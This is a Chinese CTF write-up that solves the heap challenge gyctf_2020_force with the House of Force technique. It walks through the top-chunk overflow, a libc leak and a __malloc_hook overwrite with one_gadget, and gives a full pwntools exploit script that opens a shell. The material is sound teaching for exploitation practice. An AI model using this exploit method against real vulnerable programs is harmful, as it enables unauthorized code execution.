House of force —— gyctf_2020_force
前言:
House of force是属于House of xxx系列的利用方法,House of xxx是2004年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对glibc堆分配机制的利用方法。
想要利用House of force,需要以下条件:
1.能够以溢出等方式控制top chunk的size域。
2.能够*的分配堆的大小
解题思路
保护机制
保护全开,64位。
IDA查看伪代码
程序有两个功能,一个是添加,一个是输出,其中输出并没有输出任何东西,我们也就不看。
我们重点来看添加函数:
关于添加函数,堆的分配大小是随便我们设置的,并没有任何限制。并且,无论我们分配多大的堆块,我们都只能写0x50大小的数据,也就是说我们分配小一点的堆块就可以造成溢出。
在分配完堆块之后,程序会把堆头的位置告诉我们,关于这一点,我们想到能不能用这个来泄露堆的基址呢?如果能泄露,我们是不是可以直接利用unlink来劫持堆块的指针,从而达到getshell。
但是由于程序开了PIE,我们每次泄露的堆头地址都和堆结构体距离不同,这样的话,我们就不能用以上思路来解题了。
思路总结
条件分析
既然题目提示了使用house of force,我们就不再犹豫了。
第一个条件,我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
第二个条件,程序本身就可以分配任意大小的堆块,并没有任何限制。
这样,这个程序就可以用house of force来攻击。
攻击链路
我们首先分配一个稍微大一点的堆块,程序就会用mmap映射一段地址,而libc就在这段地址的下面一位,这样我们就可以利用固定的偏移来泄露libc的基址了。
得到libc基址后我们就想着劫持malloc_hook了(因为程序开了Full RELRO,我们不能劫持GOT表)。
我们就分配一个非常大的堆块,让我们堆块的下面就是malloc的地址,这样我们再次分配的时候,我们就可以来改写malloc_hook处的地址了。
完整exp:
#! /usr/bin/env python
from pwn import *
p = process('./gyctf_2020_force')
#p = remote('node3.buuoj.cn', 27255)
elf = ELF('./gyctf_2020_force')
libc = ELF('./libc.so.6')
def new(size, content):
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(size))
p.recvuntil('addr ')
heap = int(p.recv(14), 16)
p.sendlineafter('content\n', content)
return heap
libc_base = new(0x200000, 'aaa') + 0x200ff0
print 'libc_base : ' + hex(libc_base)
heap_base = new(0x18, 'a' * 0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))
print 'heap_base : ' + hex(heap_base)
top = heap_base + 0x10
malloc_hook = libc.sym['__malloc_hook'] + libc_base
offset = malloc_hook - top
print 'offset : ' + hex(offset)
realloc = libc.sym['__libc_realloc'] + libc_base
onegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one = onegadget[1] + libc_base
new(offset - 0x33, 'a' * 0x8)
new(0x10, 'a' * 0x8 + p64(one) + p64(realloc + 0x10))
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x40))
p.interactive()
我们这里稍微解释一下,为什么offset要减去0x33。
老pwn狗都知道,当我们分配fastbin范围的堆块时,分配的地址处必须要有对应的大小才能通过检测。
做fastbin attack做的多了,我们自然就知道在libc2.23的malloc_hook - 0x23处有一个0x7f的数值,这里貌似用不到,但是,我们分配距离0x33就是为了不让top chunk的size位不覆盖到他,这样方便绕过检测。
最后我们使用realloc来调节栈帧使得one_gadget可以使用。
上一篇: Java内存溢出排查过程
下一篇: Protostar栈溢出学习
推荐阅读
-
你所不知的新MacBook中 隐藏的15个Force Click特性
-
2015 MacBook Pro触控板(Force Touch)功能详细介绍
-
Terrans Force (未来人类)T5X-980M-47SH2游戏本全方位详细评测图解
-
Green House大号USB风扇
-
【视频】2015新MacBook隐藏的15个Force Click特性解析
-
Terrans Force T500值得买吗?未来人类T500性能级游戏本全面深度评测图解
-
JSON_FORCE_OBJECT 数字索引数组 强转对象
-
记一次Elasticsearch OOM的优化过程——基于segments force merge 和 store type 转为 niofs
-
Trend Force数据:2016年VR头显销量将达291万台
-
Green House发布新款时尚系列入耳耳机